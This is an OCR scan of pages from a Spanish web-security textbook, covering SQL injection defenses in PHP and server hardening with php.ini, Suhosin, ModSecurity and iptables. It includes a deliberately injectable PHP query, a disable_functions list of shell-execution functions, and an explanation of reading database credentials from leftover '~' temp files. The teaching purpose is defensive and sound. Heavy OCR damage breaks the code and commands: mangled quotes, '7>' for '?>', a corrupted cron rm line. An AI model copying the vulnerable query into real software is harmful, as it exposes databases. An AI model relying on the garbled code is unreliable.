e Guia de desarrollo de OWASP: es un manual muy completo para
disefar, desarrollar y liberar aplicaciones y servicios web seguros.
Podemos obtener informacién sobre este proyecto en: www.owasp.
org/index.php/Proyecto_Guia_de_OWASP. También tenemos a
disposicién en idioma espafiol una guia breve, con las practicas de
desarrollo de codigo seguro al programar aplicaciones web (www.
owasp.org/images/c/c8/0OWASP_SCP_Quick_Reference_Guide_
SPA.doc).

e Guia de pruebas de OWASP: es un manual muy util para realizar
auditorias de seguridad a las aplicaciones y servicios web. Podemos
descargar la version tres, en espafnol, desde el siguiente enlace:
www.owasp.org/images/8/80/Guia_de_pruebas_de_OWASP_
ver_3.0.pdf.

¢ Guia de revision de codigo de OWASP: cubre las mismas
vulnerabilidades y mecanismos de seguridad que la guia de pruebas,
pero provee lineamientos para encontrar los problemas en el codigo

Las comillas simples (), en el lenguaje SQL, indican el comienzo o final de una cadena de caracteres

dentro de la consulta. Podemos utilizarlas para provocar errores de sintaxis en una aplicacion vulnerable

0 para concatenar nuestras inyecciones a la consulta original.
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ESPECIFICAR EL

TIPO DE DATO DE UNA
VARIABLE EN PHP ES
UNA BUENA MEDIDA

DE SEGURIDAD

9. INYECCION SQL A BASES DE DATOS

fuente. Es util al momento de auditar aplicaciones
que ya hemos desarrollado y sirve para diversos
lenguajes (como PHP, ASP, Java, SQL, etcétera).
Encontramos mas informacién y descargas en:
www.owasp.org/index.php/Projects/OWASP_
Code_Review_Project.

Recomendamos continuar con la lectura de esas
guias para seguir mejorando la seguridad de las
aplicaciones web que desarrollemos.

En las préximas secciones trataremos varias

medidas de proteccién que podemos implementar en el cédigo de
nuestra aplicacién web para evitar la técnica de inyeccién SQL.

Verificar el tipo de dato

Si bien en PHP no es obligatorio especificar el tipo de dato que
almacena una variable, es una excelente medida de seguridad, sobre

todo si el valor es asignado directamente por el usuario. Debemos
aplicarlo desde el lado del desarrollador, dentro del cédigo.
Tomemos como ejemplo las aplicaciones que hemos explotado

a lo largo del capitulo:

<?php

include(‘conexion_a_db.php”);

$id =$_GETI'id"];

$query = mysql_query(*SELECT id,Nombre, Precio FROM “productos’ WHERE

id=$id");

while ($row = mysqgl_fetch_assoc ($query)) {
print “*Nombre: “*.$row[“Nombre” 1. “<br />";
print “Precio: “*.$row[“Precio”1. “<br/>";

mysql_close();
7>
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En esta aplicacion la variable id debe recibir siempre un valor
numeérico para formar correctamente la consulta SQL, pero en ninguna
parte del codigo se especifica que debe ser asi. Para hacerlo tenemos
que modificar la linea que declara la variable id:

$id = (int) $_GET[‘id’];

De este modo, dejamos establecido que la variable id almacenara un
valor de tipo integer (numérico) e ignorara por completo algo diferente.

D Dumir & Costier 2 5 [ Fome @ imsger @ btsmaror [ Macelssens whae 7 Spoe 2 Todr B Wew Sounce ; Gesions

PRODUCTOS

Figura 27. Al recibir una cadena de caracteres (string),
la aplicacién la ignora y no muestra resultados.

Filtro de palabras claves

Sabemos cudles son las palabras utilizadas para formar una
inyeccién SQL maliciosa. Sobre esta base, podriamos crear un script
que revise los datos de entrada en busca de esas palabras claves
(por ejemplo UNION, ALL, SELECT, FROM, WHERE, information_schema,
etcétera) y las elimine antes de que se forme la consulta final y se
envie a la base de datos.

A continuacién podemos ver un script que realiza esa tarea sobre
la variable entrada:
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<?php
$entrada = $_GET[‘entrada’];

$entrada = str_ireplace("UNION” " ,$entrada);
$entrada = str_ireplace("SELECT”,”” ,$entrada);
$entrada = str_ireplace("FROM” ,”” ,$entrada);
$entrada = str_ireplace("WHERE" ,””” ,$entrada);

print $entrada;
7>

Podemos evaluar el filtro de este simple codigo intentando pasar a
la variable entrada una inyeccion SQL como las aprendidas. Notaremos
que las palabras UNION, SELECT, FROM y WHERE son automaticamente
eliminadas de la variable, sin diferenciar entre maytsculas y mintsculas.

~ 127001 R

Figura 28. Mediante la funcion str_ireplace()
se pueden eliminar las palabras claves de una inyeccion SQL.

Procedimientos almacenados

Los procedimientos almacenados o stored procedures son
destinados, entre otros usos, a evitar ataques de inyeccion SQL. Sin
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embargo, su uso inadecuado puede generar tanta vulnerabilidad a
inyecciones SQL como las consultas realizadas por un usuario desde la
pagina web. Este riesgo aparece si el procedimiento almacenado utiliza
una entrada de datos para armar la consulta y, al igual que la aplicacién
web vulnerable, no la filtra correctamente.

Si de todas maneras queremos utilizarlos para mitigar los riesgos
de una inyeccion maliciosa, debemos implementarlos correctamente:
no armar las consultas con SQL dinamico o, de ser necesario hacerlo,
filtrar y proteger correctamente la entrada de datos.

Analisis de respuesta

Podemos desarrollar una aplicacién mas inteligente a la hora
de analizar la respuesta de la consulta SQL antes de mostrarsela
al usuario. Por ejemplo, el cédigo del formulario de acceso que
saltamos al principio del capitulo simplemente analizaba la
respuesta en busca de un cero o un nimero mayor, y eso era
todo lo que necesitaba para validar el acceso a la aplicacién.
Tal cédigo es muy poco inteligente, y por ende facil de enganar.
Debemos esforzarnos por programar aplicaciones que analicen
minuciosamente los datos que reciben por parte del DBMS, para asi
evitar darle a un atacante la informacién que desea ver.

Hoy en dia, los ataques de inyeccion SQL son los mas ejecutados en lo que respecta a seguridad

en aplicaciones web. Dedicamos este capitulo completo a analizar y explotar cddigos vulnerables a
dicho ataque y logramos obtener toda la informacién que queriamos de una base de datos (MySQL,
Oracle Database y PostgreSQL). Por otro lado, vimos las cuestiones de seguridad basicas que
debemos implementar al instalar el DBMS MySQL y varias medidas de proteccién contra inyeccio-
nes de cddigo maliciosas.
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Actividades

= w N =

TEST DE AUTOEVALUACION

;Cuéles son las caracteristicas del modelo relacional de bases de datos?
;Cuales son los DBMS mas utilizados en la actualidad?
¢;Para qué se utilizan los comandos DDL y DML en SQL?

;Qué tipo de informacion contienen las bases de datos information_schema y
mysql del DBMS MySQL?

;Cuéles son las medidas de seguridad basicas que debemos implementar al
instalar el DBMS MySQL?

:Como podemos saltar un sistema de autenticacion mediante una inyeccion
SQL?

EJERCICIOS PRACTICOS

Instale los DBMS MySQL, Oracle Database y PostgreSQL.

Desarrolle aplicaciones vulnerables a inyeccion SQL que utilicen los DBMS
instalados.

Obtenga la mayor cantidad de informacion posible sobre el servidor web, la
base de datos y el DBMS mediante inyecciones SQL.

Obtenga las tablas, columnas y registros de la base de datos utilizada por
cada una de las aplicaciones vulnerables que desarrollo.

Asegure las aplicaciones vulnerables de modo que no se pueda seguir inyec-
tando codigo SQL malicioso.

PROFESOR EN LiNEA

Sitiene alguna consulta técnica relacionada con el contenido, puede contactarse
con nuestros expertos: profesor@redusers.com
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Seguridad
en el servidor

En este capitulo reforzaremos las medidas basicas

de proteccion de un servidor web, afiadiendo nuevas
configuraciones que ayudaran a mitigar riesgos.
Aprenderemos algo de hardening e instalaremos

un firewall de aplicaciones web.
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10. SEGURIDAD EN EL SERVIDOR

Reforzar las medidas basicas

En el Capitulo 1, luego de instalar Ubuntu Server, aprendimos
las medidas de seguridad basicas que debiamos aplicar en nuestro

servidor. Comenzamos eliminando las contrasefias por defecto de

DESHABILITAR
FUNCIONES EN
PHP.INI FORTALECE
LA SEGURIDAD DE
NUESTRO SISTEMA

»

las aplicaciones utilizadas para asignarles una
clave verdaderamente segura, verificamos los
privilegios de los usuarios/grupos y sus
respectivos permisos sobre los archivos del
servidor (para modificarlos en caso de ser
inadecuados), y recomendamos editar las
configuraciones por defecto de las aplicaciones
en uso para evitar proporcionar al hacker
informacion de su interés. Vimos también como
distribuir los servicios en diferentes servidores,
de modo que si un atacante compromete a uno

de éstos no pueda acceder a informaciéon de otros componentes (por

ejemplo, una base de datos). Por dltimo, mencionamos la importancia
de los respaldos de informacién o backups y de mantener actualizado
el sistema operativo de nuestro servidor web.

Hacker

Ataque a la aplicacion <html>
g PHP

® </html>

Ataque al servidor Aplicacion
> web

@ Servidor web

Figura 1. Si el hacker no encuentra vulnerabilidades
en la aplicacion web, intentara hallarlas en el servidor.

Dedicamos, en definitiva, gran parte del libro a detectar y resolver
las fallas de programacion que pudieran afectar la seguridad de la

aplicacion y los componentes relacionados. Es hora de aprender las
técnicas de hardening: procesos de fortalecimiento de un sistema
mediante ajustes en su configuracion. En esta seccion reforzaremos las

medidas basicas de proteccion aprendidas en el Capitulo 1.
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Eliminar peligros de PHP

Al instalar el intérprete de PHP tendremos un archivo de configuracion
llamado php.ini. En capitulos anteriores aprendimos a realizar pequeiias
modificaciones a su contenido para aumentar la seguridad. En esta
seccibn, trataremos otras directivas disponibles en este archivo para
prohibir funciones peligrosas, limitar las operaciones a un directorio
especifico o deshabilitar la subida de archivos, entre otras protecciones.

Primero deberemos buscar el archivo php.ini. Su ubicacién puede
variar seguin el sistema operativo y la instalacion que hayamos
realizado: si usamos Linux podemos ejecutar el comando find / -name
php.ini para encontrarlo, mientras que en Windows, si instalamos el
paquete WAMP, podemos encontrar el php.ini en C:\wamp\hin\php\
php(version)\php.ini.

buntu 12.04.2 LTS us-shey ttyl

1s—shey login: shey
[Password:
Last login: Mon Jun 24 03:05:42 ART 2013 on ttyl
elcome to Ubuntu 12.04.2 LTS (GNU-/Linux 3.5.0-32-generic i686)

»* Documentation: https:/shelp.ubuntu.comns

System information as of Mon Jun 24 03:10:17 ART 2013

System load: 0.01 Processes: 72

Usage of /: Z7.1% of 6.89GB Users logged in: 0

Memory usage: 6 IP address for eth0o: 192.168.0.105

Swap usage: 0

Graph this data and manage this system at https:/~slandscape.canonical.com/

uth@us—ShEg:"$ sudo find ~ -name php.ini
[sudo] password for shey:
etc/phpS/clisphp. ini
etc/phpS-apacheZ/php.ini
shey@us-shey:™§ _

Figura 2. Buscamos el archivo de configuracion php.ini en Ubuntu Server.

Deshabilitar funciones

Una vez localizado el php.ini, lo abrimos con cualquier editor de
texto y usamos el buscador para encontrar la directiva disable_functions
(Ia cual debe ser aplicada para deshabilitar todas las funciones PHP
que puedan envolver algin peligro en nuestro servidor). Aparecera
declarada pero sin valores asignados. Si no esta, la agregamos
manualmente. Haremos una primera prueba deshabilitando phpinfo,
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que, como hemos visto, proporciona muchisima informacién sobre
el servidor, que no deseamos en manos de un atacante.
Modificamos la directiva de la siguiente manera:

disable_functions = “phpinfo”

Cada vez que realizamos un cambio sobre un archivo de
configuracion, como php.ini, tenemos que reiniciar el servidor. Luego

debemos programar un script que llame a phpinfo para verificar si ha
sido deshabilitado correctamente.

<?php
print phpinfo();
7>

Como podemos ver en la Figura 3, obtenemos un mensaje de error

que indica claramente que la funciéon phpinfo() ha sido deshabilitada por
razones de seguridad.

(4] s & & DO-

55 (J Formw W imager @ iformsine i Mocdnmws / Guine /' Femer K

Figura 3. A la izquierda se encuentra el mensaje de error; a la derecha,
el archivo php.in1i con la directiva disable_functions.
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De esta manera podemos deshabilitar facilmente todas las
funciones PHP peligrosas que, a esta altura de la obra, ya podemos
identificar. Veamos un ejemplo de como podria quedar declarada la
directiva disable_functions:

disable_functions = “phpinfo, php_uname, system, exec, passthru, shell_exec,
eval, show_source, popen, proc_open, proc_close, ini_set, ini_alter, ini_get_all,
ini_restore, openlog, syslog, ftp_connect, ftp_exec, ftp_get, ftp_login”

Logicamente, si una de esas funciones es utilizada por la aplicacion
web no podremos deshabilitarla. En ese caso, aplicaremos lo aprendido
en capitulos anteriores para protegernos.

Poner un limite CON OPEN_BASEDIR
Mediante la directiva open_basedir podemos NEUTRALIZAMOS LA

indicarle a PHP que tiene permisos Gnicamente

sobre los archivos que estén dentro de un VULNERABILIDAD

directorio especifico y evitar, asi, la vulnerabilidad DIRECTORY

de Directory Transversal, donde un atacante

navega a través de los directorios de nuestro TRANSVERSAL

servidor explotando una aplicaciéon con dicha

falla. Por ejemplo, en Ubuntu Server podemos

declarar la directiva open_hasedir = “/var/www/”, mientras que en Windows
declaramos: open_basedir = “c:\wamp\www”’. De este modo, cuando un
script intente abrir o acceder a un archivo (por ejemplo mediante la
funcion fopen() o include()) se verificara su ubicacion. Si se encuentra
fuera del directorio permitido, PHP se negara a interactuar con él.

El modo seguro de PHP o safe_mode fue, en su momento, un intento de resolver el problema de

seguridad existente en servidores compartidos, pero dicha funcién quedé obsoleta desde la versidn
5.3.0 de PHP. En internet podemos encontrar muchisimos exploits para saltar su proteccion, en

los servidores que atin cuenten con ella.
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Figura 4. A la izquierda, el error que genero open_basediir;
a la derecha, el archivo php.in1i con la directiva aplicada.

Prohibido subir archivos

Si nuestra aplicacion web no brinda servicios para almacenar
archivos o imagenes online, podemos deshabilitar completamente
la subida de archivos a través del protocolo HTTP, obteniendo una

% s s i arEE medida mas de protecciéon contra
R R Dosibles ataques.
- Buscaremos la directiva file_uploads
savioe cpriom falls B wast time ot en el archivo php.ini y cambiaremos
e St syt - e su valor de la siguiente manera: file_

uploads = Off.

o ik / S5 Te-apbaids |
file_spioads = OFf

fopen wisppes Figura 5. La subida de archivos
g | al servidor mediante http queda
lengeh | P2HT lnes (1902 Ln:&T7 Colil§ SeliD DosWhadows AN s dEShablhtada.
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Para completar la edicion del archivo php.ini deberemos deshabilitar
la inclusién de archivos, tal como aprendimos en el Capitulo 6,
buscando las directivas allow_url_fopen y allow_url_include. Por tltimo,
podemos apagar los mensajes de error, como vimos en el Capitulo 8,
mediante display_errors dentro del php.ini.

Archivos temporales

Los archivos temporales son creados por programas que necesitan
guardar determinados datos por un momento, o
bien como respaldo de informacién para aquellos ES IMPORTANTE
que. dan la posnpllldad al usu-arlo de retroceder BORRAR LOS
acciones (por ejemplo, un editor de texto). A
simple vista, no tienen nada perjudicial, pero ARCHIVOS
si no se borran luegF) de ser utilizados p.ueden TEMPORALES CON
generar una brecha importante de seguridad.

Los sistemas Linux son mas propensos a este INFORMACION
tipo de vulnerabilidad y pueden explotarse con
mpa,’ls facilidad si se estéyuZando un EMS (Sistema SENSIBLE
de Administracion de Contenidos), como Joomla.

Imaginemos la siguiente situacién: un administrador abre un script
PHP llamado configuration.php que contiene los datos de conexion al
DBMS (asi se denomina el archivo de configuracién de Joomla, aunque
podria tratarse de cualquier otro con informacién sensible), con el
editor de texto o aplicacion para programar. El editor genera un archivo
temporal como respaldo en caso de que el administrador quiera
recuperar una accion anterior. Al terminar de editar el script, el archivo
temporal permanece, sin ser eliminado, bajo el nombre de configuration.
php~ (el simbolo ~ al final del nombre indica, en los sistemas Linux, que
se trata de un documento temporal).

Zone Alarm es una alternativa de firewall pensada para Windows. La empresa que lo desarrolla se llama

Check Point y ofrece una version gratis, més dos versiones pagas con caracteristicas y funcionalidades
adicionales. El sitio web oficial es www.zonealarm.com.
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Joomla! Developer Network

Joomla! Developer Network

There is always a great deal of Joomla' development activity underway and Frisasn Som
communicating with other developers in the community is essential. This site is a

resource for anyone looking to build or maintain software based on the Joomla

platform

Where to Start

Feepon an issus Heport Hew Issue Repon an lssue

Wekarmner Apaaman Cortriats

Figura 6. Joomla es un CMS open source. Podemos colaborar
auditando su codigo y reportando los bugs a los desarrolladores.

(Cémo puede, entonces, un atacante aprovecharse del archivo
temporal configuration.php~? Si el script
esta alojado en la misma carpeta que la

LOS SISTEMAS aplicacion o sitio web, al intentar acceder a
LINUX SON MAS través del navegador mediante www.sitio.

com/configuration.php solo se vera la

VULNERABLES AUN pagina en blanco. En cambio, si se intenta
ATAQUE POR ARCHIVOS acceder al archivo temporal www.sitio.com/

configuration.php~ es posible visualizar

TEMPORALES todo su contenido en texto plano, ya que el

intérprete de PHP no lo ejecutara como un
script propio del lenguaje. También del lado
del atacante, si el sitio es vulnerable a LFI se puede aprovechar

444

Dependiendo del sistema operativo y/o la aplicacion, podemos encontrar los archivos temporales bajo

diferentes extensiones. Una es el nombre del archivo seguido del simbolo ~, utilizado cominmente en
Linux. Pero también podemos encontrar extensiones .BAK y .OLD, entre otras.
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dicha falla para buscar archivos temporales que pudieran contener
informacion sensible.

Para solucionar el problema, y volviendo al punto de vista del
administrador, podemos crear una tarea programada en el servidor
para eliminar diariamente todos los documentos temporales.

Por ejemplo, editando el archivo que se encuentra en /etc/crontab
y anadiendo lo siguiente:

#Eliminar todos los dias a las 00:00hs laos archivos temporales
00 ***rm-R /var/www/*.*~

* crontab (/etc

| ] crontab 3%

# /etc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the "crontab’

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin: fusr/local/bin:/sbin: /bin: fusr/sbin: fusr/bin

# m h dom mon dow user command

1T ¥ ¥ ¥ root cd / & run-parts --report /etc/cron.hourly

25 6 *# ** oot test -x fusr/sbinfanacron || ( cd / & run-parts --report /etc/cron.daily )
47 6 *®7 roet test -x fusr/sbin/anacron || ( cd / & run-parts --report /etc/cron.weekly )
52 6 1 *8 root test -x fusr/sbin/anacron || ( cd / & run-parts --report /etc/cron.monthly )
#

#Eliminar todos los dias a las 00:00hs los archivos temporales
@8 ** = rm-R /var/wwi/*.*~]

Figura 7. Tarea programada para que se ejecute
todos los dias y elimine los archivos temporales.

Los Sistemas de Prevencion de Intrusos (IPS), a diferencia de los IDS, intentaran responder a posibles ata-

ques descartando o anulando los paquetes maliciosos. Su funcionamiento se asemeja a un firewall, con la
diferencia de que los IPS no solo tienen en cuenta las cabeceras de un paquete sino también su contenido.
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Seguridad extra

Luego de comprender y reforzar medidas de proteccién
basicas, podemos ir un poco mas alla en lo que respecta a seguridad.
Conoceremos sistemas y médulos especiales para hardening, tales
como Suhosin y Mod_Security, que nos ayudaran a combatir los
ataques que pudiera sufrir nuestro servidor web.

Hardening con Suhosin

Se trata de un sistema de proteccion avanzado para instalaciones
PHP, disenado para proteger servidores y usuarios de los defectos
conocidos y desconocidos en aplicaciones PHP y el ntcleo de este
lenguaje. Suhosin se compone de dos partes independientes, que
pueden ser utilizadas por separado o en combinacion. La primera
es un pequeio parche para el ndcleo de PHP, que implementa algunas
protecciones de bajo nivel contra Buffer Overflows y otras
vulnerabilidades. La segunda es una poderosa extensién de PHP
que implementa todas las otras protecciones.

@hﬁw danaE B ErefjaEt

Home Imprint Contact

Suhosin Table of Contents N

What is Suhosin?

Suhosin is an advanced
)\ A protection system for PHP
__.r l installations. It was designed to protect servers and users from
Suhosin comes in two independent parts, that can be used
separately or in combination. The first part is a small patch against the PHP core, that implements a few

low-level protections against bufferoverflows or format string vulnerabilities and the second part is a
powerful PHP extension that implements all the other protections.

Unlike the @ PHP Hardening-Patch Suhosin is binary compatible to normal PHP installation, which means it
is compatible to 3rd party binary extension like ZendOptimizer.

Download

The Suhosin patches and the extension are available for download on our download page.

Figura 8. Suhosin es un excelente sistema
para hardening en servidores web que utilizan PHP.
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Instalacion de Suhosin

Si bien podemos instalar Suhosin en distribuciones Debian y
derivadas con un simple comando (apt-get install php5-suhosin), también
es posible instalar dicho sistema desde el cédigo fuente utilizando
nuestro Ubuntu Server. Para hacerlo, primero descargamos el codigo
fuente de Suhosin mediante el wget.

Ejemplo: wget http://download.suhosin.org/suhosin-0.9.33.tgz.

sheyPus-shey: ™5 wget http:/sdounload.suhosin.orgs/suhosin-0.9.33.tgz

-2013-06-28 03:40:19—- http:-/sdounload.suhosin.orgs/suhosin-0.9.33.tgz
Resolviendo douwnload.suhosin.org (download.suhosin.org)... 85.214.93.8
onectando con dounload.suhosin.org (download.suhosin.org)l[85.214.93.81:80... c
nectado.

Peticion HTTP enviada, esperando respuesta... 200 OK

Longitud: 104488 (102K) [applicationsx-tgz]

Grabando a: msuhosin-0.9.33.tgzm

48,9K/s en 2,1s

2013-06-28 03:40:22 (48,9 KBrss) - msuhosin-0.9.33.tgzm guardado [104488-1044881

sheyBus-shey: ™5

Figura 9. El comando wget descargara
el cddigo fuente de Suhosin.

Al descomprimir el archivo descargado, tar -xvpzf suhosin-0.9.33.
tgz, nos movemos al nuevo directorio, cd suhosin-0.9.33, y ejecutamos
el comando .Jconfigure seguido de make y make install.

A continuacién, abrimos el archivo php.ini mediante el comando
nano /etc/php5/apache2/php.ini e introducimos al final la siguiente linea:
extension=/usr/lib/php5/20090626+Ifs/suhosin.so.

444

-u_

En el sitio oficial de Suhosin (www.hardened-php.net/suhosin) podemos encontrar un FAQ y documen-

e

tacién para instalar, actualizar y configurar Suhosin (www.hardened-php.net/suhosin/configuration.

html). También encontramos los enlaces de descarga. Todo el contenido del sitio esta en idioma inglés.
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GNU nano 2.2.6 Archivo: setc/phpSrapachel/php.ini Modificado

;dba .default_handler=

[xs1]

: Write operations from within XSLT are disabled by default.

; XSL_SECPREF_CREATE_DIRECTORY | XSL_SECPREF_WRITE_NETWORK | XSL_SECPREF_WRITE_S
: Set it to 0 to allow all operations

ixsl.security_prefs = 44

; Local Variables:
; tab-width: 4
; End:

Extension=/usrs1ib/php5,20090626+1fs/suhosin.so_

Figura 10. Esta ubicacion que agregamos al php.ini
se detalla en la instalacion de Suhosin.

Reiniciamos el servidor ejecutamos el comando php -i | grep suhosin
para comprobar que Suhosin se ha instalado correctamente.

.request.max_array_index_length => 64 => 64
.request.max_totalname_length => 256 => 256
.request.max_value_length => 1000000 => 1000000
.request.max_varname_length => 64 => 64
.request.max_vars => 1000 => 1000
.server.encode => On => On

.server.strip => On => On

.session.checkraddr => 0 => 0
.session.cryptdocroot => On => On
.session.cryptkey => [ protected 1 => [ protected 1
.session.cryptraddr => 0 => 0

.session.cryptua => Off => Off

.session.encrypt => On => On
.session.max_id_length => 128 => 128
.simulation => Off => Off
.sql.bailout_on_error => Off => Off
.sql.comment => 0 => 0

sql.multiselect =>
.sql.opencomment =>
.sgql.union => 0 => 0
.sql.user_postfix => no value => no value
.sql.user_prefix => no value => no value
.srand. ignore => On => On

.stealth => On => On

0
0

Figura 11. Sitodo se realizd correctamente,
veremos una pantalla como esta.

Suhosin mejora en gran medida la seguridad de nuestro
servidor web. Una vez instalado, contamos con proteccion para
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vulnerabilidades tipo Buffer Overflow en el niicleo de PHP, cifrado

de cookies, funciones peligrosas deshabilitadas, proteccion sobre los
identificadores de sesién, caracteristicas de filtrado de datos, etcétera.
Todo se puede modificar y adaptar a nuestras necesidades.

Firewall de aplicaciones web

Los firewalls tradicionales trabajan sobre la capa de red y transporte,
analizando el trafico dirigido hacia el sistema que protegen, con el
fin de detectar un acceso no autorizado y bloquearlo. Los servidores
web deben dejar el puerto 80 abierto y permitir el acceso a todos los
usuarios que deseen ver el sitio, por lo cual un firewall tradicional no
puede bloquearlo ni aportar ningun tipo de proteccién a la aplicacion.

A partir de este problema surgieron los firewalls de aplicaciones
web (WAF) con caracteristicas especiales, adaptadas a la proteccién que
requiere un servidor web. Por ejemplo, mientras un firewall tradicional
tiene reglas para mantener un puerto cerrado, uno de aplicaciones web
tiene reglas para detectar ataques tipo Cross-Site Scripting o Inyecciéon
SQL. La diferencia es clara: los WAF no bloquearan el puerto 80, pero si
analizaran las transacciones HTTP para proteger al servidor web.

Instalacion de Mod_Security

Mod_Security es un firewall de aplicaciones web que se ejecuta
como modulo del servidor Apache. Contiene reglas que permiten
detectar y filtrar ataques comunes contra una aplicacion web (como
XSS, Inyeccién SQL, DDoS). Una de sus principales caracteristicas es
la capacidad de capturar y analizar dinamicamente el trafico HTTP
generado por los clientes. Se encargara de permitir las peticiones
legitimas y bloquear aquellas que probablemente no lo sean.

Mod_Security es un mddulo para Apache muy conocido. Podemos encontrar numerosa documenta-

cién en internet acerca de las mejores configuraciones que podemos aplicarle. Su sitio oficial (www.

modsecurity.org) cuenta con documentacion y zona para desarrolladores.
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Figura 12. Mod_Security es un firewall de aplicaciones
web open source que posee reglas para
protegernos de los ataques mas frecuentes.

Para instalar Mod_Security desde el cédigo fuente debemos
descargar la ultima version disponible en el sitio oficial de
ModSecurity: wget https://www.modsecurity.org/tarball/2.7.4/modsecurity-
apache_2.7.4.tar.gz.

A continuacion, descomprimimos el archivo descargado:
tar zxvf modsecurity-apache_2.7.4.tar.gz, y nos movemos al
nuevo directorio: cd modsecurity-apache_2.7.4.

Luego instalamos las dependencias: apt-get install liblua5.1-0 lua5.1
apache2-threaded-dev huild-essential libxml2 libxml2-dev libcurl3 libcurl3-dev
y ejecutamos .Jconfigure, seguido de make y make install.

Debemos crear el archivo /etc/apache2/mods-availahle/mod_security2.load
con el siguiente contenido:

LoadFile /usr/lib/i386-linux-gnu/libxml2.so
LoadFile /usr/lib/i386-linux-gnu/liblua5.1.s0.0
LoadModule security2_module /usr/lib/apache2/modules/mod_security2.so.
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GNU nano Z2.2.6 Archivo: ...pacheZ/mods-enabled/mod_securityZ.load

LoadFile susr/1ibrsi386-1inux—gnuslibxnlZ.so
LoadFile susr-/lib-/i386-1inux-gnu-sliblua5.1.s0.0
LoadModule securityZ2_module susrrslibrsapacheZ/modules/mod_securityl.so

[ 3 lineas escritas 1

Figura 13. Creamos el archivo /etc/apache2/
mods-available/mod_security2.load.

Una vez creado el archivo debemos habilitar los modulos a utilizar,
ejecutando los comandos: a2enmod mod_security2 y a2enmod unique_id.

Por ultimo, nos movemos al directorio donde descargamos el web
firewall Mod_Security y ejecutamos el comando cp modsecurity.conf-
recommended /etc/apache2/conf.d/modsecurity.conf.

Una vez instalado Mod_Security, podemos verificar si cometimos
errores de sintaxis mediante el comando apache2ctl configtest. Si se nos
responde syntax 0K hemos realizado todos los pasos correctamente;
de lo contrario, se mostrara un mensaje de error con la linea que
escribimos mal. Reiniciamos el servidor y comprobamos que Mod_
Security verdaderamente se esté ejecutando, revisando los logs de
Apache: tail /var/log/apache2/error.log. Si todo sali6é bien visualizaremos
unas lineas similares a las siguientes:

LFri Jun 28 06:54:43 20131 [noticel ModSecurity for Apache/2.7.4 (http://
www.modsecurity.org/) configured.

[Fri Jun 28 07:30:55 20131 [notice]l ModSecurity: APR compiled ver-
sion="1.4.6"; loaded version="1.4.6"
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LFri Jun 28 07:30:55 20131 [notice]l ModSecurity: PCRE compiled
version="8.12"; loaded version="8.12 2011-01-15"(...).

EheyPus—shey: /. 7]
pacheZ: Could not reliably determine the server’s fully qualified domain name,
1sing 127.0.1.1 for ServerName

sheyBus—shey: S sudo ~setcrsinit.dsapache2 restart
= Restarting web server apache2
pacheZ: Could not reliably determine the server’s fully qualified domain name,
1ising 127.0.1.1 for ServerName

. waiting apache2: Could not reliably determine the server’s fully gualified
omain name, using 127.0.1.1 for ServerName

[ OK 1

sheyBus-shey:-$ tail ~uvar-/lograpacheZ/error.log
[Fri Jun 28 06:54:43 20131 [noticel Apaches2.Z2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.

with Suhosin-Patch configured —— resuming normal operations
[Fri Jun 28 07:30:53 20131 [noticel caught SIGTERM, shutting doun
[Fri Jun 28 07:30:55 20131 [noticel ModSecurity for ApachersZ.7.4 (http:// uwuw.mo:
security.orgs) configured.
20131 [noticel ModSecurity: APR conmpiled version="1.4.6":

: 20131 [noticel ModSecurity: PCRE compiled version="8.12 "
loaded version="8.12 2011-01-15"

[Fri Jun 28 07:30:55 20131 [noticel ModSecurity: LUA compiled version="Lua 5.1"
[Fri Jun 28 07:30:55 20131 [noticel ModSecurity: LIBXML compiled version="2.7.8
[Fri Jun 28 07:30:56 20131 [noticel Apaches2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.
with Suhosin-Patch configured —— resuming normal operations

Figura 14. Instalamos el web firewall Mod_Security
en nuestro servidor web Linux con Apache?2.

Implementar iptables

Si bien conocimos e instalamos un firewall especifico para
aplicaciones web, no esta de mas aprender a instalar un firewall
tradicional. Podemos necesitar proteger servidores con componentes
tan sensibles como una base de datos, para lo cual podemor utilizar
el conocido firewall en sistemas Linux: iptables.

Nuestro objetivo es mantener abiertos solamente los puertos
que son necesarios y permitir conexiones inicamente a aquellos
dispositivos autorizados (los cuales, probablemente, estén en la
misma intranet del servidor).

Mediante iptables podremos crear las reglas de filtrado que
resultan necesarias para proteger nuestro servidor y minimizar el
impacto de un ataque.
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Figura 15. Netfilter es el proyecto
que desarrolla el firewall iptables.

Instalacion de iptables

Para descargar e instalar la Gltima version disponible de iptables
dentro de nuestro servidor, lo que primero debemos hacer es crear
un nuevo directorio: mkdir /usr/src/iptables, y movernos a este para
descargar iptables: wget http:/www.netfilter.org/projects/iptables/files/
iptables-1.4.19.1.tar.hz2.

A continuacién, descomprimimos el archivo descargado:
tar xvfj iptables-1.4.19.1.tar.bz2, y nos dirigimos al nuevo directorio
extraido: cd iptahles-1.4.19.1.

FIREWALL EN WINDOWS

El firewall de Windows puede adaptar la proteccién para diversos entornos de red. Los perfiles
utilizados son: hogar, trabajo y publico. Independientemente del nivel de proteccién que posean
los perfiles, podremos pasar de uno a otro con facilidad. En el sitio http://windows.microsoft.
com/es-xl/windows7 /understanding-windows-firewall-settings encontramos documentacion

para configurarlo.
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Para compilar iptables utilizamos los parametros JJconfigure KERNEL_
DIR=/usr/src/iptahles y make KERNEL_DIR=/usr/src/iptahles.

linux/magic.h presence... yes

for linuxs/magic.h... yes

linux-/proc_fs.h usability... no

linux-proc_fs.h presence... no

for linux-sproc_fs.h... no

size of struct ip6_hdr... 40

for pkg-config... susrs/binspkg-config

pkg—config is at least version 0.9.0... yes

for libnfrnetlink... no

onfigure: creating .,config.status

ig.status: creating Makefile
ig.status: creating extensions/GNUmakefile
ig.status: creating include/Makefile
ig.status: creating iptables/Makefile
ig.status: creating iptablessxtables.pc
ig.status: creating libipg-/Makefile
ig.status: creating libipg-slibipq.pc
ig.status: creating libiptc/Makefile
ig.status: creating libiptc-libiptc.pc
ig.status: creating libiptcslibip4tc.pc
ig.status: creating libiptc-libipbtc.pc
ig.status: creating libxtables-/Makefile
ig.status: creating utils-Makefile
ig.status: creating includerxtables-version.h
ig.status: creating includesiptables-internal.h
ig.status: creating config.h
ig.status: config.h is unchanged
ig.status: executing depfiles commands
ig.status: executing libtool commands

Figura 16. Compilacion del firewall iptables.

Instalamos iptables con el siguiente comando: make install KERNEL _
DIR=/usr/srcfiptahles.

Procedemos a guardar las rutas antiguas:

